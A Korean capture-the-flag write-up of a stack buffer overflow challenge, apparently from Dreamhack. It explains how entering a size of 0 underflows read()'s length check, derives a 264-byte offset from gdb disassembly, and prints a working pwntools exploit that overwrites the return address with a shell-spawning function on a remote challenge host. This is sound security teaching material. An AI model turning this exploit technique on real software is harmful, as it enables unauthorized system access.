

size와 data를 입력하는 문제이다.
코드 분석)
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char buf[256];
int size;
initialize();
signal(SIGSEGV, get_shell);
printf("Size: ");
scanf("%d", &size);
if (size > 256 || size < 0)
{
printf("Buffer Overflow!\n");
exit(0);
}
printf("Data: ");
read(0, buf, size - 1);
return 0;
}
stevbuf(stdin, NULL, IONBF, 0);
stdin파일을 함수 내부에서 필요한 만큼 크기를 할당하여 사용한다.
signal(SIGSEGV, get_shell);
*SIGSEGV : segmentations fault
프로그램이 잘못된 메모리 위치에 접근하려고 시도할 때 발생하게 되는데 이러한 시그널이 발생했을 때 get_shell 함수가 실행되도록 구현하였다.
if (size > 256 || size < 0) { printf("Buffer Overflow!\n"); exit(0); }
size가 256 이상이나 0 이하면 'Buffer Overflow!'가 출력되면서 나가게 된다. 이를 통해 size는 무조건 0으로 해서 공격해야한다는 것을 알 수 있다.
read(0, buf, size - 1);
size 값을 입력 받고 size-1만큼 buf에 입력을 받는다.
gdb로 확인)
0x0804866c <+0>: push ebp
0x0804866d <+1>: mov ebp,esp
0x0804866f <+3>: sub esp,0x104
0x08048675 <+9>: call 0x8048612 <initialize>
0x0804867a <+14>: push 0x8048659
0x0804867f <+19>: push 0xb
0x08048681 <+21>: call 0x8048470 <signal@plt>
0x08048686 <+26>: add esp,0x8
0x08048689 <+29>: push 0x80487a1
0x0804868e <+34>: call 0x8048460 <printf@plt>
0x08048693 <+39>: add esp,0x4
0x08048696 <+42>: lea eax,[ebp-0x104]
0x0804869c <+48>: push eax
0x0804869d <+49>: push 0x80487a8
0x080486a2 <+54>: call 0x80484e0 <__isoc99_scanf@plt>
0x080486a7 <+59>: add esp,0x8
0x080486aa <+62>: mov eax,DWORD PTR [ebp-0x104]
0x080486b0 <+68>: cmp eax,0x100
0x080486b5 <+73>: jg 0x80486c1 <main+85>
0x080486b7 <+75>: mov eax,DWORD PTR [ebp-0x104]
0x080486bd <+81>: test eax,eax
0x080486bf <+83>: jns 0x80486d5 <main+105>
0x080486c1 <+85>: push 0x80487ab
0x080486c6 <+90>: call 0x8048490 <puts@plt>
0x080486cb <+95>: add esp,0x4
0x080486ce <+98>: push 0x0
0x080486d0 <+100>: call 0x80484b0 <exit@plt>
0x080486d5 <+105>: push 0x80487bc
0x080486da <+110>: call 0x8048460 <printf@plt>
0x080486df <+115>: add esp,0x4
0x080486e2 <+118>: mov eax,DWORD PTR [ebp-0x104]
0x080486e8 <+124>: sub eax,0x1
0x080486eb <+127>: push eax
0x080486ec <+128>: lea eax,[ebp-0x100]
0x080486f2 <+134>: push eax
0x080486f3 <+135>: push 0x0
0x080486f5 <+137>: call 0x8048450 <read@plt>
0x080486fa <+142>: add esp,0xc
0x080486fd <+145>: mov eax,0x0
0x08048702 <+150>: leave
0x08048703 <+151>: ret
get_shell()함수와 read 함수 간의 offset을 구해야 한다.

0x0804866c <+0>: push ebp
0x0804866d <+1>: mov ebp,esp
0x0804866f <+3>: sub esp,0x104
위와 같은 스택 구조를 가지기 때문에 할당되는 변수에는 0x104만큼 주어진 것을 확인할 수 있다.
따라서 변수~ret까지의 거리는 0x104(buf)+0x4(ebp) = 0x108(264(10))이다. 따라서 264byte 후 ret 값에 들어가고 get_shell()함수의 주소가 들어가면 된다.
get_shell()함수 주소 구하기)

-> get_shell() : 0x08048659
(info functions로 구해도 된다)
exploit code)
from pwn import *
p = remote("host3.dreamhack.games", 17014);
get_shell = p32(0x08048659)
payload = b'a'*264
payload += get_shell
p.recvuntil(b'Size: ')
p.sendline(b'0')
p.recvuntil(b'Data: ')
p.send(payload)
p.interactive()

플래그가 출력되었다.